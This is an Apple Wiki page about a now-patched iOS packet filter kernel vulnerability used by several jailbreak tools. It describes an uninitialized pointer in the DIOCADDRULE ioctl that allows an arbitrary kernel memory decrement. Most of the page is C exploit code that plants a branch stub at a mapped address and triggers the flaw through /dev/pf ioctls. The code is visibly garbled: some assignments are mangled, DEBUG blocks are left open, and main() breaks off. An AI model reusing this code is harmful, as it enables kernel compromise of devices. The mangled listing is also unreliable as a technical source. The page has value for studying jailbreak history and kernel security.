Packet Filter Kernel Exploit

From The Apple Wiki

This is a kernel exploit used in greenpois0n, limera1n, PwnageTool, and redsn0w, along with limera1n's bootrom exploit, to achieve an untethered jailbreak for devices invulnerable to 0x24000 Segment Overflow. As of iOS 4.2.1, it is patched.




The vulnerability is located in the DIOCADDRULE ioctl handler, due to improper initialization of the overload_tbl field, which can be later exploited in the DIOCCHANGERULE handler. The rule field of the pfioc_rule structure passed from userland is copied into a kernel buffer, and then some of the structure fields are reinitialized. However, if rule‑>overload_tblname[0] is zero, the rule‑>overload_tbl pointer won't be initialized properly and will retain the value passed from userland. When the rule is removed, the pf_rm_rule function calls pfr_detach_table which in turn decrements a reference counter using the invalid pointer, allowing an arbitrary decrement anywhere in kernel memory.


int main() {
    unsigned int target_addr = CONFIG_TARGET_ADDR;
    unsigned int target_addr_real = target_addr & ~1;
    unsigned int target_pagebase = target_addr & ~0xfff;
    unsigned int num_decs = (CONFIG_SYSENT_PATCH_ORIG - target_addr) >> 24;
    assert(MAP_FAILED != mmap((void *) target_pagebase, 0x2000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0));
    unsigned short *p = (void *) target_addr_real;
    if(target_addr_real & 2) *p++ = 0x46c0; // nop
    *p++ = 0x4b00; // ldr r3, [pc]
    *p++ = 0x4718; // bx r3
    *((unsigned int *) p) = (unsigned int) &ok_go;
    assert(!mprotect((void *)target_pagebase, 0x2000, PROT_READ | PROT_EXEC));
    // Yes, reopening is necessary
    pffd = open("/dev/pf", O_RDWR);
    ioctl(pffd, DIOCSTOP);
    assert(!ioctl(pffd, DIOCSTART));
    unsigned int sysent_patch = CONFIG_SYSENT_PATCH;
    assert(!ioctl(pffd, DIOCSTOP));
    assert(!mlock((void *) ((unsigned int)(&ok_go) & ~0xfff), 0x1000));
    assert(!mlock((void *) ((unsigned int)(&flush) & ~0xfff), 0x1000));
    assert(!mlock((void *) target_pagebase, 0x2000));
#ifdef DEBUG
    printf("ok\n"); fflush(stdout);
#ifdef DEBUG
    printf("we're out\n"); fflush(stdout);

static void pwn(unsigned int addr) {
    struct pfioc_trans trans;
    struct pfioc_trans_e trans_e;
    struct pfioc_pooladdr pp;
    struct pfioc_rule pr;

    memset(&trans, 0, sizeof(trans));
    memset(&trans_e, 0, sizeof(trans_e));
    memset(&pr, 0, sizeof(pr));

    trans.size = 1;
    trans.esize = sizeof(trans_e);
    trans.array = &trans_e;
    trans_e.rs_num = PF_RULESET_FILTER;
    memset(trans_e.anchor, 0, MAXPATHLEN);
    assert(!ioctl(pffd, DIOCXBEGIN, &trans)); 
    u_int32_t ticket = trans_e.ticket;

    assert(!ioctl(pffd, DIOCBEGINADDRS, &pp));
    u_int32_t pool_ticket = pp.ticket;

    pr.action = PF_PASS; = 0;
    pr.ticket = ticket;
    pr.pool_ticket = pool_ticket;
    memset(pr.anchor, 0, MAXPATHLEN);
    memset(pr.anchor_call, 0, MAXPATHLEN);

    pr.rule.return_icmp = 0;
    pr.rule.action = PF_PASS; = AF_INET;
    pr.rule.proto = IPPROTO_TCP;
    pr.rule.rt = 0;
    pr.rule.rpool.proxy_port[0] = htons(1);
    pr.rule.rpool.proxy_port[1] = htons(1);

    pr.rule.src.addr.type = PF_ADDR_ADDRMASK;
    pr.rule.dst.addr.type = PF_ADDR_ADDRMASK;
    //offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) = 0x4a4
    pr.rule.overload_tbl = (void *)(addr - 0x4a4);
    errno = 0;

    assert(!ioctl(pffd, DIOCADDRULE, &pr));

    assert(!ioctl(pffd, DIOCXCOMMIT, &trans));

    pr.action = PF_CHANGE_REMOVE;
    assert(!ioctl(pffd, DIOCCHANGERULE, &pr));